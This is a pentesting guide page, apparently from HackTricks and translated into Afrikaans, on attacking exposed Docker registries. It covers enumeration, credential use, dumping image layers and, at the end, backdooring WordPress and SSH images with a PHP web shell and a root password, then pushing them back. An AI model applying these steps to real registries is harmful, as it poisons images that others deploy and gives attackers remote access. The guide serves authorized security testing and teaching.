# 5000 - Pentesting Docker Registry

{{#include ../banners/hacktricks-training.md}}

## Basiese Inligting

'n Berging en verspreidingstelsel bekend as 'n **Docker registry** is in plek vir Docker-prente wat genoem word en in verskeie weergawes kan voorkom, onderskei deur etikette. Hierdie prente is georganiseer binne **Docker repositories** in die registry, elke repository stoor verskillende weergawes van 'n spesifieke prent. Die funksionaliteit wat verskaf word, laat toe dat prente plaaslik afgelaai of na die registry opgelaai kan word, mits die gebruiker die nodige toestemmings het.

**DockerHub** dien as die standaard openbare registry vir Docker, maar gebruikers het ook die opsie om 'n plaaslike weergawe van die oopbron Docker registry/verspreiding te bedryf of te kies vir die kommersieel ondersteun **Docker Trusted Registry**. Daarbenewens kan verskeie ander openbare registries aanlyn gevind word.

Om 'n prent van 'n plaaslike registry af te laai, word die volgende opdrag gebruik:
```bash
docker pull my-registry:9000/foo/bar:2.1
```
Hierdie opdrag haal die `foo/bar` beeld weergawe `2.1` van die plaaslike registrasie by die `my-registry` domein op poort `9000`. Omgekeerd, om dieselfde beeld van DockerHub af te laai, veral as `2.1` die nuutste weergawe is, vereenvoudig die opdrag tot:
```bash
docker pull foo/bar
```
**Standaard poort:** 5000
```
PORT    STATE SERVICE  VERSION
5000/tcp open  http    Docker Registry (API: 2.0)
```
## Ontdekking

Die maklikste manier om hierdie diens wat loop te ontdek, is om dit op die uitvoer van nmap te kry. In elk geval, let daarop dat dit 'n HTTP-gebaseerde diens is en dit agter HTTP-proxies kan wees en nmap dit nie sal opspoor.\
Sommige vingerafdrukke:

- As jy toegang tot `/` kry, word daar niks in die antwoord teruggestuur nie
- As jy toegang tot `/v2/` kry, word `{}` teruggestuur
- As jy toegang tot `/v2/_catalog` kry, kan jy verkry:
- `{"repositories":["alpine","ubuntu"]}`
- `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`

## Enumerasie

### HTTP/HTTPS

Docker registry kan gekonfigureer word om **HTTP** of **HTTPS** te gebruik. So die eerste ding wat jy dalk moet doen, is om **te vind watter een** geconfigureer word:
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}
```
### Verifikasie

Docker registry kan ook gekonfigureer word om **verifikasie** te vereis:
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
As die Docker Registry verifikasie vereis, kan jy[ **dit probeer om dit te brute force**](../generic-hacking/brute-force.md#docker-registry).\
**As jy geldige akrediteerbesonderhede vind, sal jy dit moet gebruik** om die registry te evalueer, in `curl` kan jy dit soos volg gebruik:
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
### Opname met DockerRegistryGrabber

[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) is 'n python-gereedskap om docker registrasie te opneem / te dump (sonder of met basiese outentisering)
```bash
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url

____   ____    ____
|  _ \ |  _ \  / ___|
| | | || |_) || |  _
| |_| ||  _ < | |_| |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu

positional arguments:
url                URL

options:
-h, --help         show this help message and exit
-p port            port to use (default : 5000)

Authentication:
-U USERNAME        Username
-P PASSWORD        Password
-A header          Authorization bearer token

Actions:
--list
--dump_all
--dump DOCKERNAME  DockerName

Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all

python3 DockerGraber.py http://127.0.0.1  --list

[+] my-ubuntu
[+] my-ubuntu2

python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu

[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

python3 DockerGraber.py http://127.0.0.1  --dump_all

[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
```
### Opsporing met curl

Sodra jy **toegang tot die docker registry verkry het**, is hier 'n paar opdragte wat jy kan gebruik om dit te opspoor:
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}

#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}

#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
> [!WARNING]
> Let op dat wanneer jy die blobs lêers aflaai en dekomprimeer, sal lêers en vouers in die huidige gids verskyn. **As jy al die blobs aflaai en hulle in dieselfde vouer dekomprimeer, sal hulle waardes van die voorheen gedecomprimeerde blobs oorskryf**, so wees versigtig. Dit mag interessant wees om elke blob binne 'n ander vouer te dekomprimeer om die presiese inhoud van elke blob te ondersoek.

### Enumerasie met behulp van docker
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu

#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
#ed05bef01522        2 years ago         ./run.sh                                        46.8MB
#<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B
#<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B
#<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B
#<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB

#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
### Backdooring WordPress image

In die scenario waar jy 'n Docker Registry gevind het wat 'n wordpress beeld stoor, kan jy dit backdoor.\
**Skep** die **backdoor**:
```bash:shell.php
<?php echo shell_exec($_GET["cmd"]); ?>
```
Skep 'n **Dockerfile**:
```bash:Dockerfile
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
**Skep** die nuwe beeld, **kontroleer** of dit geskep is, en **druk** dit:
```bash
docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it
```
### Backdooring SSH server image

Neem aan dat jy 'n Docker Registry met 'n SSH beeld gevind het en jy wil dit backdoor.\
**Laai af** die beeld en **voer** dit uit:
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
Haal die `sshd_config` lêer uit die SSH beeld:
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
En wysig dit om in te stel: `PermitRootLogin yes`

Skep 'n **Dockerfile** soos die volgende een:

{{#tabs}}
{{#tab name="Dockerfile"}}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
{{#endtab}}
{{#endtabs}}

**Skep** die nuwe beeld, **kontroleer** of dit geskep is, en **druk** dit:
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
## Verwysings

- [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)

{{#include ../banners/hacktricks-training.md}}